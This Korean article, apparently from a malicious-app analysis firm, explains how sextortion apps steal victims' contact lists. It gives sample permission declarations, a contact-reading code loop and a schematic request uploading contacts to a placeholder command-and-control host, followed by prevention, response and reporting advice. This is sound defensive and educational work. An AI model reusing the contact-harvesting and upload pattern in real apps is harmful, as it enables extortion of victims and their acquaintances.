지인유포협박,
내 연락처는 어떻게 새어나가는가
"네 지인들에게 다 뿌리겠다"는 협박의 무기는 결국 하나 — 몰래 빼낸 당신의 연락처입니다.
이 글은 악성 앱의 READ_CONTACTS 권한이 주소록을 어떻게 읽고 서버로 보내는지,
그 기술적 실체와 유포를 실제로 차단하는 방법을 실측 데이터로 짚습니다.
지인유포협박은 악성 앱이 몰래 빼낸 연락처를 근거로 "가족·직장 동료에게 영상을 뿌리겠다"고 겁주는 수법입니다. 돈을 보내지 말고, 설치한 앱이 실제로 연락처를 전송했는지부터 확인하는 것이 대응의 출발점입니다.
공식 통계로 본 심각성
경찰청 범죄통계 기준 몸캠피싱 신고는 2015년 102건에서 2019년 1,824건으로 급증했고, 2019년 검거율은 26.2%에 그쳤습니다. 가해자 검거가 어려운 만큼, 피해자의 신속한 초기 대응과 설치된 앱의 전문 분석이 현실적으로 가장 중요합니다. (출처: 경찰청 범죄통계 · 시사위크 보도)
지인유포협박의 수법과 유입 경로
지인유포협박은 몸캠피싱의 마지막 단계에서 가장 자주 등장하는 협박 형태입니다. 가해자는 랜덤채팅, 소개팅 앱, SNS 다이렉트 메시지 등에서 접근해 친밀감을 쌓은 뒤, "음성이 안 들린다", "이 앱으로 통화하자"는 구실로 정체불명의 앱(APK) 설치를 유도합니다. 피해자가 앱을 설치하고 권한을 허용하는 순간, 가해자는 협박에 필요한 무기 — 즉 피해자의 주소록 전체 — 를 손에 넣습니다.
여기서 핵심은, 협박이 성립하려면 반드시 "누구에게 뿌릴 것인가"에 대한 명단이 있어야 한다는 점입니다. 낯선 사람이 나를 협박해도 그 위협이 무서운 이유는, 그가 내 어머니·직장 상사·친구의 전화번호를 이미 알고 있다고 주장하기 때문입니다. 그 명단이 어디서 왔는지를 이해하면, 이 협박의 구조 전체가 보입니다.
유입 경로는 플랫폼마다 조금씩 다르지만 목적지는 언제나 같습니다. 랜덤채팅에서는 "여기선 대화가 불편하니 다른 앱으로 옮기자"며 앱 설치를 권하고, 소개팅 앱에서는 "실물 인증용"이라는 명목을, SNS에서는 팔로우 답례처럼 링크를 건넵니다. 표면적 이유는 제각각이지만, 이 모든 흐름의 종착점은 하나 — 피해자의 손가락이 "연락처 접근을 허용하시겠습니까?" 팝업의 허용 버튼에 닿게 만드는 것입니다. 접근 방식이 아무리 세련돼 보여도, 정체불명 앱의 연락처 권한 요청이라는 결정적 신호는 바뀌지 않습니다.
접근과 신뢰 형성
랜덤채팅·소개팅 앱·SNS에서 매력적인 프로필로 접근해 대화를 이어가며 경계심을 낮춥니다.
앱 설치 유도
"이 앱으로 영상통화하자", "화질 좋은 앱이 있다"며 플레이스토어를 거치지 않는 APK 파일이나 링크를 전달합니다.
권한 허용 유도 — 이 순간이 분수령
앱 실행 직후 연락처·저장소 접근을 요청합니다. "통화 연결에 필요하다"는 안내로 허용을 유도하며, 이때 주소록이 통째로 넘어갑니다.
녹화물 + 명단으로 협박
영상통화 중 확보한 녹화물과 탈취한 연락처를 결합해 "지인에게 유포하겠다"며 금전을 요구합니다.
악성앱 분석으로 드러난 실측 통계
아크링크가 실제 분석한 악성앱은 303종, 확인된 C2 서버는 269개(유니크), 추출된 악성 도메인(IOC)은 490개입니다. 이 악성앱들이 요청한 권한을 집계하면 지인유포협박의 무기가 무엇인지 명확히 드러납니다.
- 연락처 읽기(READ_CONTACTS): 253종 — 83%
- 저장소 읽기(READ_EXTERNAL_STORAGE): 224종 — 74%
- 문자 읽기(READ_SMS): 147종 — 49%
- 문자 수신(RECEIVE_SMS): 102종 — 34%
10개 중 8개 이상이 연락처 권한을 요구한다는 사실은, 이 앱들의 목적이 통화나 사진 전송이 아니라 "지인 명단 확보"에 있음을 정량적으로 보여줍니다.
— 아크링크 악성앱 분석 데이터(2026)
"지인에게 뿌리겠다"는 협박의 실제
피해자가 가장 두려워하는 문장은 언제나 비슷합니다. "네 가족, 직장 동료, 친구들 번호 다 갖고 있다. 지금 안 보내면 전부 뿌린다." 이 위협이 유독 강력한 이유는, 협박의 대상이 피해자 본인이 아니라 피해자가 아끼는 사람들이기 때문입니다. 그러나 이 협박의 실행 가능성은 감정이 아니라 기술로 결정됩니다.
가해자가 실제로 유포를 실행하려면 세 가지가 모두 필요합니다. 첫째 녹화물, 둘째 뿌릴 대상의 연락처, 셋째 그 둘을 연결해 전송하는 수단입니다. 이 중 두 번째, 즉 연락처가 없으면 협박은 공허한 말에 그칩니다. 그래서 가해자는 협박을 실행 가능한 위협으로 만들기 위해 반드시 주소록을 먼저 탈취합니다.
협박 메시지에 지인 이름이 등장하는 이유
많은 피해자가 "가해자가 실제로 내 동생 이름을 말했다"며 공포에 빠집니다. 이는 앱이 연락처를 읽을 때 이름·전화번호·그룹 정보까지 함께 가져가기 때문입니다. 즉 "홍길동 아버지", "회사 김부장"처럼 저장해둔 이름표가 그대로 넘어가, 가해자가 관계를 짚어 압박하는 데 쓰입니다. 이름을 안다는 것은 초능력이 아니라, 단지 주소록 필드를 읽었다는 기술적 사실일 뿐입니다.
중요한 반전은, 협박의 강도와 실제 유포 능력이 비례하지 않는다는 점입니다. 가해자는 "명단을 다 확보했다"고 과장하지만, 앱이 권한을 얻지 못했거나 전송이 실패했다면 손에 든 것은 녹화물뿐입니다. 반대로 권한이 허용됐다면 명단은 실재합니다. 따라서 "정말 뿌릴 수 있는가"라는 질문의 답은 협박 문구가 아니라, 설치한 앱이 연락처를 실제로 읽고 서버로 보냈는지를 확인해야만 나옵니다.
연락처 탈취의 기술적 실체 — READ_CONTACTS가 하는 일
이 글의 핵심입니다. 지인유포협박의 무기가 만들어지는 과정은 안드로이드의 READ_CONTACTS라는 단 하나의 권한에서 시작됩니다. 이 권한이 무엇을 하는지 정확히 이해하면, 협박의 실체와 대응법이 동시에 보입니다.
1) 권한 요청 — 앱이 주소록 문을 여는 순간
안드로이드에서 연락처는 보호된 자원입니다. 앱은 설치 파일(AndroidManifest.xml)에 권한을 선언하고, 실행 중 사용자에게 팝업으로 허용을 받아야만 주소록에 접근할 수 있습니다. 악성앱의 설치 파일에는 다음과 같은 선언이 들어 있습니다.
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.INTERNET"/>
"연락처에 접근하도록 허용하시겠습니까?"라는 팝업에서 허용을 누르는 그 한 번의 탭이, 주소록 전체를 넘겨주는 계약서에 서명하는 것과 같습니다. 통화 앱이라면 특정 번호 하나만 필요할 텐데도 전체 연락처 접근을 요구한다면, 그 자체가 강한 위험 신호입니다.
2) 주소록 읽기 — ContentResolver로 전체 순회
권한이 허용되면 앱은 안드로이드의 ContentResolver를 통해 연락처 데이터베이스를 조회합니다. 이 API는 저장된 모든 항목을 한 번에 순회할 수 있어, 수백 수천 건의 이름과 번호가 몇 초 만에 메모리로 올라옵니다.
Cursor c = resolver.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, ...);
while (c.moveToNext()) {
name = c.getString(/* DISPLAY_NAME */);
number = c.getString(/* NUMBER */);
list.add(name + "," + number); // 이름표까지 함께 수집
}
이 단계에서 가져가는 것은 번호만이 아닙니다. 표시 이름, 그룹, 즐겨찾기 여부까지 포함되기 때문에, 가해자는 "가족", "직장" 같은 관계 정보를 그대로 파악합니다. 앞서 협박 메시지에 지인 이름이 등장하는 이유가 바로 여기에 있습니다.
3) 서버 전송 — C2로 넘어가는 명단
수집된 명단은 앱에 심어진 C2(명령·제어) 서버 주소로 전송됩니다. 대개 JSON 형태로 묶여 HTTPS 요청에 실려 나가며, 화면에는 아무 변화도 나타나지 않습니다. 아크링크 분석에서 확인된 269개의 C2 서버가 바로 이 명단을 받는 종착지입니다.
POST /api/upload/contacts HTTP/1.1
Host: [C2 도메인]
Content-Type: application/json
{ "device": "...", "contacts": [ {"n":"엄마","p":"010..."}, ... ] }
바로 이 전송이 일어났는지 여부가 지인유포협박의 실행 가능성을 최종 결정합니다. 전송이 성공했다면 명단은 실재하고, 실패했거나 권한이 없었다면 협박은 근거가 빈약합니다. 이 사실은 화면만 봐서는 알 수 없고, 설치된 앱의 코드와 통신 기록을 분석해야만 확인됩니다. 그래서 "앱을 지우기 전에 무슨 앱인지부터 확인"하는 것이 대응의 기술적 출발점이 됩니다.
예방과 유포 차단 — 권한을 끊는 법
연락처 탈취가 READ_CONTACTS 권한에서 시작되므로, 예방과 차단의 핵심도 권한을 통제하는 데 있습니다. 아래는 지금 바로 적용할 수 있는 조치입니다.
지금 바로 할 수 있는 권한 통제
- 출처 불명 앱 설치 차단 — 설정 → 보안 → "출처를 알 수 없는 앱 설치"를 꺼 두면 채팅으로 받은 APK가 설치되지 않습니다.
- 연락처 권한 회수 — 설정 → 앱 → 의심 앱 → 권한에서 연락처·저장소·문자 접근을 즉시 해제합니다.
- 권한 사용 기록 점검 — 안드로이드의 "권한 사용 기록"에서 최근 연락처에 접근한 앱 목록을 확인합니다.
- Play 프로텍트 활성화 — 플레이스토어 → 프로필 → Play 프로텍트로 기기를 검사합니다.
이미 앱을 설치했다면, 무작정 삭제하는 것이 최선이 아닐 수 있습니다. 앱을 지우면 어떤 서버로 무엇을 보냈는지 확인할 증거도 함께 사라지기 때문입니다. 유포 차단을 위해서는 먼저 어떤 앱인지, 전송이 실제로 일어났는지를 파악한 뒤에 삭제하는 편이 대응에 유리합니다.
추가 전송을 즉시 끊는 실무적 방법도 있습니다. 앱을 삭제하기 전이라도 기기를 기내 모드로 전환하거나 해당 앱의 네트워크 접근을 차단하면, 아직 나가지 않은 데이터의 전송을 막을 수 있습니다. 그 상태에서 연락처 권한을 회수하면 앱은 더 이상 주소록을 읽지 못합니다. 이렇게 "네트워크 차단 → 권한 회수 → 정체 확인 → 삭제" 순서로 접근하면, 이미 넘어간 데이터의 범위를 파악하면서 동시에 추가 유출은 봉쇄할 수 있습니다. 권한이라는 단 하나의 길목을 막는 것만으로 지인유포협박의 무기 공급을 근본에서 끊어내는 셈입니다.
유포 자체를 무력화하는 관점
가해자의 유포 능력은 결국 "명단이 서버에 도착했는가"에 달려 있습니다. 권한을 허용하지 않았거나, 허용했더라도 전송이 차단됐다면 협박은 실행력을 잃습니다. 따라서 대응의 목표는 "협박을 멈춰달라 설득"이 아니라, 탈취된 명단의 실재 여부를 확인하고 그에 맞춰 전략을 세우는 것입니다. 사실관계가 명확해지면 협박의 심리적 압박은 크게 줄어듭니다.
피해 대처와 신고
지인유포협박 상황에서 감정적으로 대응하면 가해자의 각본에 끌려가게 됩니다. 아래 순서대로 침착하게 진행하세요.
- 송금 중단 — 한 번 보내면 요구는 반복됩니다. 어떤 명목이든 돈을 보내지 않습니다.
- 증거 보존 — 대화 내용, 상대 프로필, 전달받은 앱·링크 정보, 협박 문구를 캡처해 보관합니다.
- 앱 정체 확인 후 삭제 — 설치한 앱이 연락처를 전송했는지 확인한 뒤 삭제합니다.
- 지인에게 사전 공유 — 필요 시 가까운 지인에게 상황을 미리 알려, 유포 시도가 있어도 흔들리지 않도록 합니다.
- 기관 신고 — 아래 실재 기관에 접수합니다.
신고·상담 기관
- 경찰(긴급) — ☎ 112
- 사이버범죄 신고 시스템(경찰청) — ☎ 182
- 방송통신심의위원회 — 불법 촬영물·유포물 삭제 및 접속 차단 요청
- 디지털성범죄피해자지원센터 — ☎ 02-735-8994 (촬영물 삭제 지원·상담)
자주 묻는 질문 (FAQ)
가해자가 정말 제 지인들에게 유포할 수 있나요?
유포는 감정이 아니라 기술로 결정됩니다. 실제 유포에는 탈취된 연락처가 필요하며, 앱에 연락처 권한을 허용하지 않았거나 전송이 이루어지지 않았다면 가해자에게 뿌릴 명단 자체가 없을 수 있습니다. "다 갖고 있다"는 말은 압박용 과장인 경우가 많으므로, 설치한 앱의 연락처 전송 여부를 확인하는 것이 우선입니다.
가해자가 제 가족 이름을 알고 있는데, 정말 해킹당한 건가요?
대부분 통신사나 메신저 서버 해킹이 아니라, 기기에 설치된 앱이 READ_CONTACTS 권한으로 주소록을 읽어간 것입니다. 연락처에는 번호뿐 아니라 저장해둔 이름표까지 포함되므로, "가족", "회사"처럼 적어둔 정보가 그대로 넘어가 가해자가 관계를 짚어 압박하는 데 쓰입니다. 정교한 해킹이 아니라 권한 허용 한 번에서 비롯된 결과입니다.
앱을 지금 바로 삭제하면 유포를 막을 수 있나요?
삭제는 이후의 추가 수집은 막지만, 이미 전송이 끝났다면 서버에 있는 명단은 사라지지 않습니다. 오히려 삭제하면 어떤 서버로 무엇이 나갔는지 확인할 증거도 함께 없어집니다. 따라서 어떤 앱이 어떤 데이터를 전송했는지 확인한 뒤 삭제하는 편이, 유포 가능성 판단과 신고 모두에 유리합니다.
연락처 권한을 이미 허용했습니다. 지금 무엇을 해야 하나요?
설정 → 앱 → 해당 앱 → 권한에서 연락처·저장소·문자 접근을 즉시 해제하고, 기내 모드나 네트워크 차단으로 추가 전송을 막으세요. 그다음 대화와 앱 정보를 캡처해 증거를 보존하고, 앱이 실제로 연락처를 전송했는지 전문 분석으로 확인하면 대응 방향을 정확히 잡을 수 있습니다.
